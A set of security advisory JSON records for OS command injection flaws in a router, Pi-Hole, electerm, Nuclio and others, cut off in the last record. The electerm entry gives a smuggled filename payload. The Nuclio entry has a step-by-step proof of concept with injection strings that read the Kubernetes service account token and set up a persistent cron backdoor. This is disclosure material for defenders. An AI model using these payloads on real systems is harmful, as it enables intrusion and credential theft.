CWE-78

{
  "affected": [],
  "aliases": [
    "CVE-2025-65008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T15:15:59Z",
    "severity": "CRITICAL"
  },
  "details": "In WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28)\u00a0due to lack of validation in the langGet parameter in the adm.cgi endpoint, the malicious attacker can execute system shell commands.\n\nThe vendor was notified early about this vulnerability, but didn\u0027t respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.",
  "id": "GHSA-v59c-cfx2-53vc",
  "modified": "2025-12-18T15:30:45Z",
  "published": "2025-12-18T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65008"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2025/12/CVE-2025-65007"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wcyb/security_research"
    },
    {
      "type": "WEB",
      "url": "http://www.wodesys.com/eproductms52.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-13051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-09T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "Pi-Hole 4.3 allows Command Injection.",
  "id": "GHSA-v5cm-3chw-qwfh",
  "modified": "2024-04-04T02:12:26Z",
  "published": "2022-05-24T16:58:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13051"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pi-hole/AdminLTE/pull/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pi-hole/pi-hole/commits/master"
    },
    {
      "type": "WEB",
      "url": "https://pi-hole.net/2019/09/21/pi-hole-4-3-2-release-notes"
    },
    {
      "type": "WEB",
      "url": "https://pi-hole.net/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "electerm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:22:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA command injection vulnerability exists in electerm\u0027s file system operations (`rmrf`, `mv`, `cp`) in `src/app/lib/fs.js`. These functions construct shell commands by interpolating file paths directly into command strings without escaping shell metacharacters.\n\n**Vulnerable functions:**\n- `rmrf()` - Uses `rm -rf \"${path}\"` (double quotes, vulnerable to `\"` injection)\n- `mv()` - Uses `mv \u0027${from}\u0027 \u0027${to}\u0027` (single quotes, vulnerable to `\u0027` injection)\n- `cp()` - Uses `cp -r \"${from}\" \"${to}\"` (double quotes, vulnerable to `\"` injection)\n\n**Attack scenario:**\n1. Attacker controls a malicious SSH/SFTP server\n2. Server lists files with shell metacharacters in names (e.g., `file\"$(touch /tmp/pwned)\"`)\n3. Victim connects to the server and performs file operations (remote-to-local transfer, rename on conflict, etc.)\n4. The malicious filename is passed to `rmrf()`, `mv()`, or `cp()` without sanitization\n5. Shell metacharacters break out of the quoted argument and execute arbitrary commands\n\n**Impact includes:**\n- Arbitrary command execution as the electerm desktop user\n- Data exfiltration, malware installation, or system compromise\n- Both POSIX (bash) and Windows (PowerShell) platforms are affected\n\n### Patches\n\n- https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42\n\n### Workarounds\n\nIf upgrading is not immediately possible, users can mitigate this vulnerability by:\n1. Only connecting to trusted SSH/SFTP servers\n2. Avoiding remote-to-local file transfers from untrusted sources\n3. Not using the \"rename on conflict\" option when downloading folders from untrusted servers\n4. Manually verifying filenames before performing file operations",
  "id": "GHSA-v5ff-xmfp-p245",
  "modified": "2026-07-02T19:22:31Z",
  "published": "2026-07-02T19:22:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electerm/electerm/security/advisories/GHSA-v5ff-xmfp-p245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electerm/electerm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "electerm has Command Injection in File System Operations (rmrf, mv, cp)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-45391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T02:16:13Z",
    "severity": "CRITICAL"
  },
  "details": "Reserved. Details will be published at disclosure.",
  "id": "GHSA-v5fp-5xmq-m2x6",
  "modified": "2026-06-02T18:31:24Z",
  "published": "2026-05-12T03:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45391"
    },
    {
      "type": "WEB",
      "url": "https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes"
    },
    {
      "type": "WEB",
      "url": "https://trust.cribl.io/notifications"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-36576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T16:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "An OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas up to commit 9f50579 allows attackers to execute arbitrary commands via a crafted POST request.",
  "id": "GHSA-v5gc-8cqm-ww2h",
  "modified": "2026-06-03T21:30:28Z",
  "published": "2026-06-03T18:33:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openlabs/docker-wkhtmltopdf-aas/issues/36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openlabs/docker-wkhtmltopdf-aas"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openlabs/docker-wkhtmltopdf-aas/blob/9f505797671c3339520dec5fc01dff3a6f324f2e/app.py#L40"
    },
    {
      "type": "WEB",
      "url": "https://hub.docker.com/r/openlabs/docker-wkhtmltopdf-aas"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260601075854-3356b86a8bfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-08T20:24:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nNuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, `\u003ccommand\u003e`). Two fields in the trigger specification flow into this string without adequate sanitization:\n\n- `event.headers` keys \u2014 interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `\"` breaks the quoting context.\n- `event.body` \u2014 processed with `strconv.Quote`, which escapes `\"` and `\\` but not `$()`, allowing command substitution (`lazy.go:2188`).\n\nBoth paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` \u2014 **9.9 (Critical)**\n- **CWE**: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nWhen a NuclioFunction with a `cron` trigger is reconciled by the controller, it calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go:2113`. This function builds a shell command string by concatenating user-supplied values and passes it directly to `/bin/sh -c`.\n\n**Path-A \u2014 Header key injection (`lazy.go:2146-2151`)**\n\n```go\n// lazy.go:2146-2151\nheadersAsCurlArg := \"\"\nfor headerKey := range attributes.Event.Headers {\n    headerValue := attributes.Event.GetHeaderString(headerKey)\n    headersAsCurlArg = fmt.Sprintf(\"%s --header \\\"%s: %s\\\"\",\n        headersAsCurlArg, headerKey, headerValue)\n    //                              \u2191\n    //                   headerKey is user-controlled; no escaping applied\n}\n```\n\n`headerKey` is taken from `event.headers` in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing `\"` terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.\n\nAttack string for `headerKey`:\n```\nX-Inject\"; ARBITRARY_COMMAND; echo \"\n```\n\nResulting shell command fragment:\n```bash\n--header \"X-Inject\"; ARBITRARY_COMMAND; echo \": value\"\n```\n\n**Path-B \u2014 Body command substitution (`lazy.go:2173-2192`)**\n\n```go\n// lazy.go:2188-2192\ncurlCommand = fmt.Sprintf(\"echo %s \u003e %s \u0026\u0026 %s %s\",\n    strconv.Quote(eventBody),   // escapes \" \u2192 \\\" and \\ \u2192 \\\\, but NOT $()\n    eventBodyFilePath,\n    curlCommand,\n    eventBodyCurlArg)\n```\n\n`strconv.Quote` wraps the string in double quotes and escapes `\"` and `\\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `\"$(CMD)\"`, which the shell expands as command substitution when executing the `/bin/sh -c` string.\n\nAttack string for `event.body`:\n```\n$(ARBITRARY_COMMAND)\n```\n\nResulting shell command:\n```bash\necho \"$(ARBITRARY_COMMAND)\" \u003e /tmp/eventbody.out \u0026\u0026 curl ...\n```\n\n**Execution sink (`lazy.go:2212`)**\n\n```go\n// lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n```\n\nThe entire concatenated string \u2014 including any injected content \u2014 is executed by the shell.\n\n**Persistence mechanism**\n\nThe CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`:\n\n```go\n// Delete function k8s CronJobs before the Deployment so they cannot spawn new\n// CronJobs are not owned by the Deployment, so cascade does not remove them.\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nThe following steps reproduce the vulnerability in an isolated local environment.\n\n**Step 1 \u2014 Install prerequisites**\n\n```bash\n# kind (Kubernetes-in-Docker)\ncurl -Lo /usr/local/bin/kind \\\n    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64\nchmod +x /usr/local/bin/kind\n\n# Helm\ncurl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash\n```\n\n**Step 2 \u2014 Create isolated kind cluster**\n\n```bash\nkind create cluster --name vul-010\nkubectl cluster-info --context kind-vul-010\n```\n\nExpected output:\n```\nKubernetes control plane is running at https://127.0.0.1:xxxxx\n```\n\n**Step 3 \u2014 Deploy Nuclio (latest 1.15.27)**\n\n```bash\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\nkubectl create namespace nuclio\n\nhelm install nuclio nuclio/nuclio \\\n    --namespace nuclio \\\n    --kube-context kind-vul-010 \\\n    --version 0.21.27 \\\n    --set dashboard.enabled=true \\\n    --set controller.enabled=true\n```\n\nWait for the controller to become ready:\n```bash\nkubectl wait --for=condition=Available deployment/nuclio-controller \\\n    -n nuclio --context kind-vul-010 --timeout=120s\n```\n\n**Step 4 \u2014 Create a NuclioProject**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n  name: default\n  namespace: nuclio\nspec:\n  description: \"default project\"\nEOF\n```\n\n**Step 5 \u2014 Prepare a placeholder image for the function deployment**\n\nThe controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:\n\n```bash\n# Tag alpine as the placeholder function image\ndocker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest\nkind load docker-image placeholder-function:latest --name vul-010\n\n# Also load the CronJob runner image (appropriate/curl or any sh-capable image)\ndocker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest\nkind load docker-image appropriate/curl:latest --name vul-010\n```\n\n---\n\n### Exploitation \u2014 Path-A: Header Key Injection\n\n**Step 6 \u2014 Create a NuclioFunction with malicious header key**\n\nThe injection payload in the header key is:\n```\nX-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\n```\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-rce-visible\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-inject:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          headers:\n            X-Normal: safe-value\n            \u0027X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\u0027: marker\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n```\n\n**Step 7 \u2014 Trigger the controller to create the CronJob**\n\n```bash\nkubectl patch nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\nWait ~10 seconds for the controller to reconcile, then list CronJobs:\n```bash\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nExpected output:\n```\nNAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE\nnuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        \u003cnone\u003e          12s\n```\n\n**Step 8 \u2014 Inspect the generated CronJob command (static confirmation)**\n\n```bash\nCJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"curl --silent  --header \\\"X-Inject\\\"; echo \\\"===RCE_CONFIRMED===\\\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \\\": marker\\\" --header \\\"X-Normal: safe-value\\\" --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-rce-visible\\\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused\"\n]\n```\n\nThe injected commands are clearly embedded between the shell-separated statements.\n\n**Step 9 \u2014 Manually trigger a CronJob run (dynamic confirmation)**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME\" \\\n    vul010-rce-proof -n nuclio --context kind-vul-010\n\n# Wait for the pod to complete\nkubectl wait pod -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof \\\n    --for=condition=Ready --timeout=30s 2\u003e/dev/null || true\n\nPOD=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\n===RCE_CONFIRMED===\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\neyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...\n```\n\n- Line 1: `curl` exits immediately at `\"X-Inject\"` (no curl binary in alpine)\n- Line 2: `echo \"===RCE_CONFIRMED===\"` executes \u2014 injection confirmed\n- Line 3: `id` executes \u2014 container runs as `uid=0 (root)`\n- Line 4: `cat .../token | head -c 50` exfiltrates the first 50 bytes of the K8s SA token\n\n---\n\n### Exploitation \u2014 Path-B: Body Command Substitution\n\n**Step 10 \u2014 Create a NuclioFunction with malicious event body**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-body-inject\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-body:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          body: \"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\"\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n\nkubectl patch nucliofunction vul010-body-inject -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\n**Step 11 \u2014 Verify CronJob command (static)**\n\n```bash\nsleep 15\nCJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -l \"nuclio.io/function-name=vul010-body-inject\" \\\n    -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME_B\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"echo \\\"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\\\" \u003e /tmp/eventbody.out \u0026\u0026 curl --silent  --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-body-inject\\\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ...\"\n]\n```\n\n`$()` is present unescaped inside a double-quoted string passed to `/bin/sh -c`.\n\n**Step 12 \u2014 Dynamic execution**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME_B\" \\\n    vul010-body-proof -n nuclio --context kind-vul-010\n\nPOD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-body-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD_B\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/bin/sh: curl: not found\n```\n\n`id` ran as root via `$()` expansion before `curl` was even attempted.\n\n---\n\n### Persistence Verification\n\n**Step 13 \u2014 Confirm CronJob has no ownerReferences**\n\n```bash\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.metadata.ownerReferences}\u0027\n```\n\nExpected: empty (no output)\n\n**Step 14 \u2014 Simulate controller crash during function deletion**\n\n```bash\n# Stop the controller\nkubectl scale deployment nuclio-controller -n nuclio \\\n    --context kind-vul-010 --replicas=0\n\n# Delete the function\nkubectl delete nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010\n\nsleep 5\n\n# Function is gone \u2014 CronJob remains\nkubectl get nucliofunction -n nuclio --context kind-vul-010\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nActual output from verification:\n```\n# NuclioFunctions:\nNAME                  AGE\nvul010-body-inject2   2m30s\n(vul010-rce-visible deleted \u2014 not listed)\n\n# CronJobs:\nNAME                                   SCHEDULE      SUSPEND   ACTIVE\nnuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0\n(CronJob belonging to the deleted function \u2014 still running)\n```\n\n**Step 15 \u2014 Execute the persistent backdoor**\n\n```bash\nkubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \\\n    vul010-persist-backdoor -n nuclio --context kind-vul-010\n\nkubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\nPERSISTENT_BACKDOOR_ACTIVE\n: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...\n```\n\nThe injected command executes after the source function has been deleted.\n\n---\n\n### Cleanup\n\n```bash\nkubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkubectl delete cronjob --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkind delete cluster --name vul-010\n```\n\n---\n\n## Impact\n\n**Remote Code Execution**: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.\n\n**Runs as root**: Every CronJob pod confirmed running as `uid=0(root)` during verification.\n\n**ServiceAccount token exfiltration**: The pod\u0027s mounted SA token (`/var/run/secrets/ kubernetes.io/serviceaccount/token`) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected `curl` call. This token enables:\n- Enumeration of Kubernetes API resources in the `nuclio` namespace\n- In misconfigured clusters, cluster-wide API access\n\n**Persistent backdoor**: The CronJob resource has no `ownerReferences` and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker\u0027s commands on the configured schedule (minimum every 1 minute) \u2014 persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.\n\n**Cloud environment lateral movement**: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.\n\n---\n\n## Severity\n\n**Critical \u2014 CVSS 3.1 Score: 9.9**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Dashboard is network-accessible |\n| Attack Complexity | Low | No preconditions; straightforward payload |\n| Privileges Required | None | NOP auth is the default configuration |\n| User Interaction | None | Fully automated via API |\n| Scope | Changed | Impact crosses pod boundary into cluster |\n| Confidentiality | High | SA token, secrets readable |\n| Integrity | High | Arbitrary command execution as root |\n| Availability | High | Persistent CronJob can exhaust cluster resources |\n\n---\n\n## Affected Versions\n\nAll Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.\n\n- **Confirmed affected**: 1.15.27 (latest as of 2026-05-17, dynamically verified)\n- **Earliest affected**: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.4\n\n---\n\n## Workarounds\n\n1. **Network-level restriction**: Place the Nuclio Dashboard behind an authenticated\n   reverse proxy or restrict port 8070 to trusted networks only. This limits who can\n   submit function specifications.\n\n2. **Disable cron triggers**: If cron trigger functionality is not required, avoid creating\n   functions with `kind: cron` triggers.\n\n3. **RBAC restriction**: Remove the `batch` API group permission from the Nuclio controller\n   ServiceAccount to prevent CronJob creation. Note: this disables cron trigger\n   functionality entirely.\n\nNone of the above eliminate the root cause; they only reduce exposure.\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/platform/kube/functionres/lazy.go`\n  - Path-A: line 2150 \u2014 header key interpolation\n  - Path-B: lines 2188-2189 \u2014 body interpolation with `strconv.Quote`\n  - Execution sink: line 2212 \u2014 `Args: []string{\"/bin/sh\", \"-c\", curlCommand}`\n- Go `strconv.Quote` documentation: does not escape `$`, `(`, `)`, or backticks\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command\n- CVSS 3.1 Calculator: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Remediation\n\n**P0 \u2014 Eliminate the shell layer (preferred fix)**\n\nReplace the `/bin/sh -c \u003cstring\u003e` invocation with an exec-format argument list. This\nremoves shell interpretation entirely:\n\n```go\n// Current (vulnerable): lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n\n// Fixed: build curl args as a []string slice\nfunc buildCurlArgs(headers map[string]string, body, address string) []string {\n    args := []string{\"curl\", \"--silent\"}\n    for k, v := range headers {\n        args = append(args, \"--header\", k+\": \"+v)\n    }\n    if body != \"\" {\n        args = append(args, \"--data\", body)\n    }\n    args = append(args, \"--retry\", \"10\", \"--retry-delay\", \"1\",\n        \"--retry-max-time\", \"10\", \"--retry-connrefused\", address)\n    return args\n}\n\n// Container spec:\nContainer{\n    Command: nil,\n    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),\n}\n```\n\nWith exec format, each argument is passed directly to the process without shell\ninterpretation. No quoting or escaping is needed.\n\n**P1 \u2014 Shell-safe quoting (fallback if shell is required)**\n\nIf the shell invocation must be retained, apply proper POSIX shell quoting to all\nuser-supplied values before interpolation. The equivalent of Python\u0027s `shlex.quote`\nmust be implemented in Go:\n\n```go\nfunc shellQuote(s string) string {\n    return \"\u0027\" + strings.ReplaceAll(s, \"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\"\n}\n```\n\nApply to both `headerKey`, `headerValue`, and `eventBody` before inserting into the\ncommand string.",
  "id": "GHSA-v5px-423j-pf7p",
  "modified": "2026-07-08T20:24:20Z",
  "published": "2026-07-08T20:24:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-v5px-423j-pf7p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/3356b86a8bfab3f960aa420310ebff765df9dede"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:14:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
